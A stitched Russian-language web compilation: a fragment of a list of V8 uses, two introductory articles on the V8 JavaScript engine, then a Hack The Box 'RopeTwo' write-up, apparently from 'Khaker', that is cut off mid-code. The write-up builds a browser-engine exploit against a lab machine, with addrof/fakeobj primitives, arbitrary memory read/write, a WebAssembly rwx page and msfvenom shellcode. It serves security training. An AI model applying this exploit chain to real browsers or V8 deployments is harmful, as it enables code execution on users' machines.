- Браузер Android[22] — мобильный браузер, входящий в Android OS
Операционные системы
- Android OS — операционная система от Google, предназначенная для коммуникаторов, нетбуков и планшетов. Используется в браузере, начиная с Froyo.
- HP webOS — операционная система от Hewlett-Packard для коммуникаторов, нетбуков и планшетов. Движок V8 используется в браузере Web.
- Google Chrome OS — операционная система от Google на базе проекта Chromium, ориентированная на облачные сервисы. V8 является важным компонентом ОС.
См. также
Примечания
Ссылки
NodeJS. Движок V8.
Вы здесь: Главная — JavaScript — JavaScript Основы — NodeJS. Движок V8.
Всем привет! В этой статье мы поговорим о том, что такое движок V8 и какую роль он играет в платформе NodeJS.
Что такое движок JavaScript?
Чтобы понять, как работает платформа NodeJS, мы немножко рассмотрим работу движка, на котором она основана.
Для начала нам нужно понять, что вообще такое движок javascript? На самом деле, здесь нет ничего необычного. Все дело в том, что компьютеры сами по себе не понимают javascript, т.к. это язык высокого уровня. Чтобы компьютер смог понять, что от него требуется, и существует движок, который берет написанный на javascript код и конвертирует его в машинный, понятный компьютеру код. Это выглядит примерно так: сначала у нас есть javascript код, потом платформа, написанная на C++, далее язык ассемблера, а уже потом машинный код. И каждый раз, когда вы компилируете свой код, он проходит от верхнего уровня к нижнему.
Что такое V8 Engine?
Итак, что же такое V8 Engine? V8 Engine – это высокопроизводительный движок от корпорации Google с открытым исходным кодом. Он написан на C++ и используется в Google Chrome. Движок может работать автономно или быть установлен в любое C++ приложение.
Таким образом, чтобы javascript код был понятен компьютеру, платформа NodeJS, написанная на C++, берет его и передает движку V8, который преобразовывает язык высокого уровня в низкоуровневый машинный код.
Заключение
Итак, на этом сегодня, пожалуй, все. Мы рассмотрели, что такое V8 Engine и зачем он нужен в платформе NodeJS, а в следующей статье поговорим про глобальный объект.
Спасибо за внимание!
- Создано 15.06.2016 19:30:03
- Михаил Русаков
Копирование материалов разрешается только с указанием автора (Михаил Русаков) и индексируемой прямой ссылкой на сайт (http://myrusakov.ru)!
Добавляйтесь ко мне в друзья ВКонтакте: http://vk.com/myrusakov.
Если Вы хотите дать оценку мне и моей работе, то напишите её в моей группе: http://vk.com/rusakovmy.
Если Вы не хотите пропустить новые материалы на сайте,
то Вы можете подписаться на обновления: Подписаться на обновления
Если у Вас остались какие-либо вопросы, либо у Вас есть желание высказаться по поводу этой статьи, то Вы можете оставить свой комментарий внизу страницы.
Порекомендуйте эту статью друзьям:
Если Вам понравился сайт, то разместите ссылку на него (у себя на сайте, на форуме, в контакте):
-
Кнопка:
<a href=»https://myrusakov.ru» target=»_blank»><img src=»https://myrusakov.ru/images/button.gif» alt=»Как создать свой сайт» /></a>Она выглядит вот так:
-
Текстовая ссылка:
<a href=»https://myrusakov.ru» target=»_blank»>Как создать свой сайт</a>Она выглядит вот так: Как создать свой сайт
- BB-код ссылки для форумов (например, можете поставить её в подписи):
[URL=»https://myrusakov.ru»]Как создать свой сайт[/URL]
Движок JavaScript: что внутри
Введение
Чтобы разобраться в том, как работает механизм обработки кода (иначе говоря, движок JavaScript), надо понять, что происходит при выполнении кода. Такие знания помогают программистам писать лучший, более быстрый и умный код.
Движки JavaScript — это не что иное, как программы, преобразующие код на JavaScript в код более низкого уровня, который компьютер сможет понять. Эти движки встроены в браузеры и веб-серверы (Node.js), что даёт возможность выполнять код и осуществлять компиляцию во время выполнения.
Разве JavaScript — это не интерпретируемый язык?
Краткий ответ: это зависит от реализации. Обычно JavaScript относят к интерпретируемым языкам, хотя вообще-то он компилируется. Современные компиляторы JavaScript фактически выполняют JIT-компиляцию, т.е. компиляцию «на лету», которая осуществляется во время работы программы.
Движок
Существует множество разных движков. У каждого из них внутри есть что-то вроде конвейера с интерпретатором и конвейера с оптимизатором и компилятором. Интерпретатор генерирует байт-код, а оптимизатор выдаёт оптимизированный машинный код. Далее в статье в качестве примера будет использоваться движок V8.
V8 — это высокопроизводительный движок от Google с открытым исходным кодом JavaScript и WebAssembly, написанный на языке C++.Он используется в Chrome, Node.js и других платформах и реализует ECMAScript и WebAssembly (см.v8.dev).
Что внутри движка
Всякий раз, когда JavaScript-код отправляется в движок V8, он проходит ряд этапов для отображения console.log:
ПарсерДвижок выполняет то, что мы называем лексическим анализом. Это первое, что происходит с файлом JavaScript при попадании в движок. Код разбивается на части, называемые токенами, для выявления их назначения, после чего мы узнаём, что код пытается сделать.
Абстрактное синтаксическое дерево (AST)На основе этих токенов создаётся то, что мы называем AST. Синтаксическое дерево — это древовидное представление синтаксической структуры кода JavaScript, и мы можем использовать этот инструмент для анализа преобразования кода AST.
ИнтерпретаторИнтерпретатор читает файлы JavaScript построчно и преобразовывает их на ходу (во время работы программы, не прерывая её выполнение). На основе сгенерированного кода AST интерпретатор начинает быстро создавать байт-код. Никаких оптимизаций здесь не выполняется, так что байт-код этот неоптимизированный.
Байт-код не является таким низкоуровневым, как машинный код, но всё же может быть интерпретирован движком JavaScript для выполнения кода.
ПрофайлерПрофайлер отвечает за проверку кода. Он вызывает специальное средство контроля, которое отслеживает код и наблюдает за ходом его выполнения, обращая наше внимание на то, как можно оптимизировать код. Выдаёт, например, информацию о том, сколько раз код запускался, какие типы используются и как мы можем его оптимизировать?
Так что, если профайлер находит часть кода, которую можно оптимизировать, он передаёт этот код JIT-компилятору, чтобы он мог быть скомпилирован и выполнялся быстрее. Рассмотрим эти конвейеры с интерпретатором и компилятором более подробно.
Оптимизирующий компиляторЗадача оптимизирующего компилятора — определить, что делает программа, подлежащая оптимизации, и создать из неё оптимизированную программу, выполняющую всё то же самое, только быстрее.
Он не преобразует файлы на лету. Он делает свою работу заранее, создавая преобразование только что написанного кода и компилируя его в язык, понятный для компьютера.
ДеоптимизацияОптимизирующий компилятор на основе имеющихся у него данных профилирования делает определённые предположения, а затем выдаёт высокооптимизированный машинный код. Но вполне возможно, что в какой-то момент одно из предположений окажется неверным. И тогда оптимизирующий компилятор может деоптимизировать код.
Объектная модель JavaScript
JavaScript — это динамический язык программирования, а это подразумевает, что свойства могут легко добавляться или удаляться из объекта после его создания. Для написания более лучшего кода надо понимать, как JavaScript определяет объекты и как движок работает с объектами и свойствами.
- Enumerable → определяет, перечисляется ли свойство в циклах
for
—in
. - Value → само значение.
- Writable → определяет, можно ли свойство изменить.
- Configurable → определяет, можно ли удалить свойство.
В динамических языках, таких как JavaScript, для доступа к свойствам требуется ряд инструкций. Поэтому почти в каждом движке имеется оптимизация для ускорения этого доступа. Такая оптимизация в V8 реализуется скрытыми классами: V8 присоединяет скрытый класс к каждому отдельному объекту. Целью скрытых классов является оптимизация времени доступа к свойствам.
Скрытые классы работают аналогично фиксированным макетам (классам) объектов, используемым в таких языках, как Java (за исключением того, что они создаются во время выполнения). Магия здесь в том, что несколько объектов могут иметь один и тот же скрытый класс, поэтому необходимы только минимальные ресурсы, а код становится быстрее:
Выгода становится очевидной, когда объектов много. Ведь пока у них один и тот же скрытый класс, информацию приходится сохранять только один раз независимо от того, сколько всего имеется объектов!
Тема оптимизации очень обширна и может стать предметом обсуждения отдельной статьи.
Встроенные кэши
Цель встроенного кэширования в том, чтобы ускорить привязку метода времени выполнения. Происходит это за счёт запоминания результатов поиска предыдущего метода непосредственно в месте вызова.Встроенное кэширование особенно полезно для динамически типизированных языков, где большинство, если не все привязки методов происходят во время выполнения и где виртуальные таблицы методов часто не могут быть использованы.
Основная причина существования скрытых классов — концепция встроенных кэшей. Движки JavaScript используют встроенные кэши для запоминания информации о том, где найти свойства в объектах. Поэтому нет необходимости повторять дорогостоящий поиск свойств при каждом доступе к ним. Зачем каждый раз искать свойства, когда со встроенными кэшами это значительно быстрее?
Выводы
- инициализировать объекты лучше всегда одним и тем же способом, чтобы скрытые классы у них не были разными;
- с атрибутами свойств элементов массива надо быть осторожным, чтобы они могли аккуратно сохраняться, а работа с ними была эффективной.
Читайте также:
Перевод статьи Leonardo Freitas: Inside the JavaScript Engine
Разбираем V8. Заглядываем под капот Chrome на виртуалке с Hack The Box — «Хакер»
Речь, конечно же, пойдет не о цилиндрах и клапанах. В этой статье мы поговорим о Google V8 Engine — движке JS, который стоит в Chromium и Android. Вернее, мы будем ломать его на самой сложной в рейтинге сообщества Hack The Box тачке RopeTwo. Ты узнаешь, какие типы данных есть в движке, как можно ими манипулировать, чтобы загрузить в память свой эксплоит, научишься использовать механизмы отладки V8, узнаешь, что такое WebAssembly и как проникнуть благодаря этому в шелл RopeTwo.
Разведка
Начинаем, как всегда, со сканирования портов. Очевидно, что на машине такого уровня необходимо пройтись по всем портам (TCP + UDP
). Для этого удобно использовать masscan
— быстрый сканер портов:
masscan
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
— forced options: -sS -Pn -n —randomize-hosts -v —send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196
Видим, что открыто всего пять портов TCP. Просканируем их с пристрастием хорошо всем известным сканером Nmap, чтобы узнать подробности.
nmap
…
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)|
|
|
|_
5000/tcp open http nginx|_http-favicon:
|
|_
|
| / /
| /
|_/
|
|_Requested
|_http-trane-info:
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)|
|_
|_http-server-header:
|_http-title:
8060/tcp open http nginx 1.14.2|
|_
|_http-server-header:
|_http-title:
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
…
Видим SSH, три веб‑сервера и неизвестный порт. Идем смотреть, что нам покажет браузер.
На 5000-м портe нас предсказуемо ждет GitLab, мы это видели в отчете Nmap.
На 5000-м порте — приветствие GitLabНа 8000-м порте — веб‑сервер на Python Werkzeug (WSGI) показывает нам простенький сайт по разработке V8 — движка JavaScript с открытыми исходниками, который разрабатывают в Google для использования в браузере Chrome и других проектах. Подробнее о нем можно почитать на официальном сайте.
На 8000-м порте — страница с исходниками и контактамиПрокрутив страницу, видим ссылку http://gitlab.rope2.htb:5000/root/v8, которая ведет на исходный код.
Ссылка на исходный кодНа 8060-м порте мы видим 404
. Порт 9094 на запросы отвечать не хочет.
По традиции добавим найденный домен в /
:
10.10.10.196 rope2.htb gitlab.rope2.htb
Плацдарм
Раз нам предлагают посмотреть исходные коды, грех не воспользоваться такой возможностью.
Репозиторий с исходниками V8Мы видим исходные коды V8 и отдельную ветку, созданную автором ВМ, которая содержит один коммит с небольшими изменениями. Очевидно, что эти изменения должны нам помочь. Изменены всего четыре файла, посмотрим на них внимательнее.
Изменения src/builtins/builtins-definitions.hВ файле заголовков добавлены две функции для работы с массивами: ArrayGetLastElement
и ArraySetLastElement
. CPP — это макрос, который добавляет записи этих функций в массив метаданных.
Инсталлируем прототипы GetLastElement
и SetLastElement
в качестве встроенных функций.
Определяем вызовы функций.
Изменения src/builtins/builtins-array.ccВот мы и добрались до самого интересного — исходного кода самих функций. Функция GetLastElement
конвертирует массив в FixedDoubleArray
и возвращает его последний элемент — array[
. Функция SetLastElement
записывает переданное ей значение в последний элемент array[
с типом float
. Попробуй, не читая дальше, догадаться, в чем тут подвох.
Поскольку у меня не было глубоких знаний движка V8, пришлось привлекать на помощь интернет. По ключевым выражениям из приведенных выше исходников я довольно быстро нашел отличный райтап Фараза Абрара Exploiting v8: *CTF 2019 oob-v8, коммит с изменениями в котором как две капли воды похож на наш.
Я уже предвкушал легкую победу, но не тут‑то было. Не буду подробно расписывать весь процесс, так как он детально изложен в райтапе, только кратко затрону основные моменты и остановлюсь подробнее на ключевых отличиях.
Итак, основное отличие в коммитах только в том, что в райтапе за чтение и запись элементов в массив отвечает лишь одна функция, которая выполняет то или иное действие в зависимости от количества переданных ей переменных.
Уязвимость же в них одна и та же. Надеюсь, ты уже догадался, какая? Поскольку адресация массива начинается с 0, то array[
позволяет нам читать и писать один элемент вне границ массива. Осталось понять, как мы можем это использовать.
Поднимаем стенд
Для начала скачиваем diff-файл.
Скачиваем diffНазовем файл v8.
, в конце добавим дополнительный перенос строки, чтобы git
не ругался.
Далее выполняем следующие команды (стенд я развернул на Ubuntu 19.04):
artex@ubuntu:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
artex@ubuntu:~/tools$ echo «export PATH=/home/artex/depot_tools:$PATH» >> ~/.bashrc
artex@ubuntu:~/tools$ source ~/.bashrc
artex@ubuntu:~$ fetch v8
artex@ubuntu:~$ cd v8
artex@ubuntu:~/v8$ ./build/install-build-deps.sh
artex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b
artex@ubuntu:~/v8$ gclient sync
artex@ubuntu:~/v8$ git apply —ignore-space-change —ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debug
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.debug # Debug version
Внимание: компиляция каждого релиза может выполняться несколько часов!
Пишет эксплоит
Первое, что нам необходимо, — добиться утечки адреса массива. Для этого напишем скрипт, основанный на райтапе Фараза. Смысл в том, чтобы изменить указатель obj_array_map
массива obj_array
на float_array_map
массива float_array
, так как структура Map
у этих объектов отличается.
Очень важный момент, на котором основана эксплуатация, — в то время как запрос нулевого индекса float_array
возвращает значение элемента массива, нулевой индекс obj_array
возвращает указатель на объект (который потом преобразуется в значение). И если мы подменим карту (Map) obj_array
картой float_array
и обратимся к нулевому индексу, мы получим не значение элемента массива, а указатель объекта в виде float
! А благодаря найденной уязвимости заменить карту труда не составляет, так как она находится за элементами массива в структуре JSArray.
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.SetLastElement(float_arr_map);
let addr = obj_arr[0];
obj_arr.SetLastElement(obj_arr_map);
return ftoi(addr);
}
var arr = [5.5, 5.5, 5.5, 5.5];
console.log(addrof(arr).toString(16));
console.log(%DebugPrint(arr));
Пробуем запустить наш скрипт и… получаем SEGV_ACCERR
:
artex@ubuntu:
Received signal 11 SEGV_ACCERR 34b4080406f8
====
[
[
[
[
[
Segmentation fault (core dumped)
Ключ --allow-natives-syntax
позволяет выполнять %DebugPrint(
— функцию, которая выводит отладочную информацию об объектах в V8.
Тут мне стало интересно, что получится, если я заменю diff с HTB oob.diff. Если хочешь повторить мой эксперимент, создай клон ВМ и выполни команды
artex@ubuntu:
artex@ubuntu:
artex@ubuntu:
artex@ubuntu:
Но перед этим необходимо внести следующие правки в oob.diff, так как структура файлов и их содержимое в новой версии немного поменялись.
diff --git a/ src/ init/ bootstrapper. cc b/ src/ init/ bootstrapper. cc
index b027d36..ef1002f 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::
diff --git a/ src/ builtins/ builtins-definitions. h b/ src/ builtins/ builtins-definitions. h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -319,6 +319,7 @@ namespace internal {
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayOob) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift)
Также в diff
нужно исправить length()
на length().
:
+ uint32_t length = static_cast<uint32_t>(array->length().Number());
Как и следовало ожидать, поменяв в скрипте названия функций на oob
и запустив его, я получил тот же результат! Вывод один — произошли изменения в самом движке V8.
Тут надо упомянуть, что в OOB использовалась версия V8
, а в нашем случае — V8
. Поэтому просто взять эксплоит, запустить и получить вожделенный шелл не получится.
Пришлось перечитать массу информации, прежде чем пришло понимание: разгадка кроется в компрессии указателей, которая появилась в новой версии V8.
Что это — описано чуть ниже. Сейчас же достаточно понять, что в новой версии элементы массива float_array
64-битные, а obj_array
— только 32-битные. Поэтому, чтобы размерность массивов совпадала, нужно добавить еще один элемент в массив obj_array
.
Итак, исправим var
на var
artex@ubuntu:
41b08002120000000x193108086721 <
Segmentation fault больше нет, но адреса не совпадают. Догадываешься почему? Добавив еще один элемент в массив, мы изменили его длину, и функция SetLastElement
записывает значение не туда, куда нам требуется (а требуется, как ты помнишь, заменить указатель на объект Map, который расположен в памяти сразу после самих элементов массива).
К счастью, мы можем легко это исправить, добавив строчку obj_arr.
.
artex@ubuntu:
80403850808671d0x0c2b0808671d <
5.5,5.5,5.5,5.5
Бинго! Если посмотреть внимательно, то младшие 32 бита совпадают! А старшие не совпадают, как уже был сказано выше, из‑за компрессии указателей.
Не буду описывать, что такое компрессия указателей, Фараз подробно написал об этом в другой статье.
Для наглядности и лучшего понимания я схематично изобразил, как представлен в памяти массив объектов и массив чисел с плавающей точкой (float).
Структура массивов Obj и FloatЕсли вкратце, этот механизм позволяет повысить производительность движка V8. Старшие 32 бита кучи (heap) всегда оставались одинаковыми при каждом запуске движка. Поэтому разработчики решили, что нет смысла оперировать 64-битными указателями, поскольку это лишняя трата ресурсов, и ввели понятие isolate root — старшие 32 бита адреса, которые всегда одинаковы и хранятся в регистре R13 (его обозвали root register). Поэтому, чтобы получить правильный 64-битный адрес, нам нужно было бы запросить старшие 32 бита в R13. Но это делать необязательно.
Как же нам выйти за пределы 32-битного пространства кучи, спросишь ты? Есть способ, который заключается в создании объекта ArrayBuffer и перезаписи его указателя backing_store
. Этот указатель аллоцирует функция PartitionAlloc
, которая работает с адресами вне кучи. Поэтому, используя объект DataView
для записи в память с перезаписанным backing_store
, мы можем получить примитив произвольного чтения и записи!
Окей, у нас есть функция addrof
, и, если мы инвертируем ее логику (поменяем местами массив объектов и массив float
), мы получим функцию fakeobj
, которая поможет нам читать из произвольных участков памяти и писать в них:
function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.SetLastElement(obj_arr_map);
let fake = float_arr[0];
float_arr.SetLastElement(float_arr_map);
return fake;
}
var a = [1.1, 1.2, 1.3, 1.4];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var float_arr_map = float_arr.GetLastElement();
var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("0x"+addrof(crafted_arr).toString(16));
var fake = fakeobj(addrof(crafted_arr)-0x20n);
Добавим код листинга к предыдущему и посмотрим, что получилось.
Запустим скрипт с помощью отладчика.
artex@ubuntu:
pwndbg>
-
0x804038508086911
V8 version 8.5.0 (candidate)d8>
0x18c108086911 <
[
-
pwndbg>
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909 <— нулевой элемент с float_arr_map
0x18c1080868f8: 0x3ff3333333333333 0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
Тегирование указателей — это механизм в V8, который нужен для различения типов double, SMI (small integer) и pointer. Из‑за выравнивания указатели обычно указывают на участки памяти, кратные 4 и 8. А это значит, что последние 2–3 бита всегда равны нулю. V8 использует это свойство, «включая» последний бит для обозначения указателя. Поэтому для получения исходного адреса нам нужно вычесть из тегированного адреса единицу.
Пробуем записать второй элемент (указатель на elements) и прочитать его:
crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);
"0x"+ftoi(fake[0]).toString(16);
Но не тут‑то было, опять получаем Segmentation fault.
Тут я надолго завис с дебаггером, пока не вспомнил о новом размере указателей. Ведь размерность элементов массива float
— 64 бита, поэтому при замене карты массива на месте первого элемента float
оказывается второй элемент массива obj
, в котором размерность элементов — 32 бита. Следовательно, записав адрес в первый индекс массива float, мы получим ссылку на elements массива obj
.
Достаточно поменять crafted_arr[
на crafted_arr[
, и все начнет работать как положено. А чтобы прочитать желаемое значение (нулевого элемента fake
), нужно соответственно поменять и смещение elements с 0x10
на 0x08
(так как указатель теперь 32-битный). Пробуем.
d8>
1.3447153912017e-310-
pwndbg>
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9 0x3ff4cccccccccccd <— записали адрес для чтения
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002d8>
«0x80406e908241909» <— и успешно прочитали значение, на которое он указывает
Объясню подробнее, как это работает. Создадим массив float и посмотрим на отладочную информацию. Запускать необходимо в дебаг‑релизе, чтобы увидеть подробный вывод %DebugPrint(
об адресах.
pwndbg>
Reading symbols from d8…pwndbg>
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 —shell —allow-natives-syntax[
Using host libthread_db library «/lib/x86_64-linux-gnu/libthread_db.so.1».
var a = [1.1, 1.2, 1.3, 1.4];[
V8 version 8.5.0 (candidate)d8>
d8>
DebugPrint:
-
-
-
-
-
#length:
}
-
0: 1.1
1: 1.2
2: 1.3
3: 1.4
}
…
Видим, что смещение elements от начала структуры JSArray равно 0x28:
0x274a080c5e51-0x274a080c5e29 == 0x28
Посмотрим на элементы массива, которые находятся в памяти перед структурой JSArray:
pwndbg>
0x274a080c5e28: 0x0000000808040a3d 0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333 0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666 0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29 0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc 0x29286e6f6974636e
Нулевой элемент массива расположен по адресу
index 0 == 0x274a080c5e30 == elements + 0x08
Предположим, мы поместим fake_object
по адресу 0x274a080c5e30
. Если далее мы заменим в fake_object
карту float_arr_map
на obj_arr_map
(при этом мы затираем поле properties
, но это некритично), то первый индекс массива crafted_arr
будет содержать указатель на элементы fake_object
, так как размерность указателей — 32 бита, а элементов массива Float — 64 бита. Поэтому, обратившись к fake_object[
, мы прочитаем значение по адресу, который запишем в первый индекс crafted_arr
.
Схематично это можно изобразить так.
Что ж, теперь с помощью вспомогательных функций, которые я не буду подробно описывать (в конце раздела будет листинг с комментариями), мы можем писать и читать произвольные адреса!
Осталось найти область памяти, которая бы позволяла еще и выполнить в ней наш код (rwx). И такая область есть, с ней работает модуль WebAssembly.
WebAssembly (сокращенно wasm) — безопасный и эффективный низкоуровневый бинарный формат для веба. Стековая виртуальная машина, исполняющая инструкции бинарного формата wasm, может быть запущена как в среде браузера, так и в серверной среде. Код на wasm — переносимое абстрактное синтаксическое дерево, что обеспечивает как более быстрый анализ, так и более эффективное выполнение в сравнении с JavaScript.
Собрав эксплоит с учетом всех описанных изменений, я вновь получил Segmentation fault.
Область rwx в текущих реализациях движка всегда находится на одинаковом смещении от объекта WasmInstanceObject
. В версии 7.5.0 оно равнялось 0x87. Будем выяснять, каково оно в 8.5.0. Для этого создадим простой скрипт wasm.js с объектом wasmInstance и запустим его под отладчиком:
var code_bytes = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;
console.log(addTwo(5, 6));
%DebugPrint(wasmInstance);
artex@ubuntu:
--skip--
pwndbg>
Using host libthread_db library «/lib/x86_64-linux-gnu/libthread_db.so.1».[
11
0x2f11082503dcDebugPrint:
--skip--
Получили адрес WasmInstanceObject
: 0x2f1108250375
. Теперь найдем в списке процессов наш скрипт и его PID (ps
) и поищем в его карте памяти области rwx:
artex@ubuntu:/
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0
Ура, есть такая! Мы получили адрес rwx: 0xb444a6ea000
. Осталось найти адрес указателя на эту область, для этого в pwndbg воспользуемся следующей командой:
pwndbg>
0x2f11082503dc 0xb444a6ea000
Указатель расположен по адресу 0x2f11082503dc
. Осталось рассчитать смещение:
python
0x68
Заменим его в скрипте. Но есть еще один указатель, смещение которого поменялось, это backing_store
.
Чтобы его найти, опять запустим дебаг‑релиз V8 под отладчиком:
artex@ubuntu:
-
pwndbg>
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 —shell —allow-natives-syntax-
d8>
undefinedd8>
DebugPrint:
-
-
-
-
-
--skip--
Видим значение backing_store:
. Вычислим смещение (я выделил его красным), не забываем о little endian.
Итак, смещение равно 0x14.
Похоже, на этом все, можно пробовать! Готовим наш тестовый пейлоад с помощью утилиты msfvenom
. Все, что он делает, — выводит строку «PWNED!».
msfvenom
[
[
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005
А вот и финальный код эксплоита с комментариями:
// Вспомогательные функции конвертации между float и Integer
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0]=val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// Создаем addrof-примитив
var obj = {"A":1};
var obj_arr = [obj, obj]; // Массив из двух элементов (чтобы получить размерность 64 бита)
obj_arr.length = 1; // Указываем принудительно размер массива = 1
var float_arr = [1.1, 1.2];
// Из-за переполнения obj_arr[length] и float_arr_map[length] считываем указатель на Map
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
// Помещаем объект, адрес которого нам нужен, в index 0
obj_arr[0] = in_obj;
// Заменяем карту массива obj картой массива float
obj_arr.SetLastElement(float_arr_map);
// Получаем адрес, обращаясь к index 0
let addr = obj_arr[0];
// Заменяем карту обратно на obj
obj_arr.SetLastElement(obj_arr_map);
// Возвращаем адрес в формате BigInt
return ftoi(addr);
}
function fakeobj(addr) {
// Конвертируем адрес во float и помещаем его в нулевой элемент массива float
float_arr[0] = itof(addr);
// Меняем карту float на карту массива obj
float_arr.SetLastElement(obj_arr_map);
// Получаем объект "fake", на который указывает адрес
let fake = float_arr[0];
// Меняем карту обратно на float
float_arr.SetLastElement(float_arr_map);
// Возвращаем полученный объект
return fake;
}
// Этот объект мы будем использовать, чтобы читать из произвольных адресов памяти и писать в них
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// Мы должны использовать тегированные указатели для чтения, поэтому тегируем адрес
if (addr % 2n == 0)
addr += 1n;
// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20
// Изменяем указатель elements arb_rw_arr на read_addr-0x08
// По адресу первого элемента массива float находится 2-й индекс obj_map,
// указывающий на элементы объекта fake
arb_rw_arr[1] = itof(BigInt(addr) - 0x8n);
// Обращаясь к нулевому индексу массива, читаем значение, расположенное по адресу addr,
// и возвращаем его в формате float
return ftoi(fake[0]);
}
function arb_write(addr, val) {
// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20
// Изменяем указатель на элементы arb_rw_arr на write_addr-0x08
// По адресу первого элемента массива float находится 2-й индекс obj_map,
// указывающий на элементы объекта fake
arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); //
// Записываем значение в нулевой элемент в формате float,
fake[0] = itof(BigInt(val));
}
// Произвольный код, скомпилированный в WebAssembly (нужен для создания wasm_instance)
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,
128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var exploit = wasm_instance.exports.main;
// Получаем адрес wasm_instance
var wasm_instance_addr = addrof(wasm_instance);
console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Постоянное смещение страницы rwx = 0x68
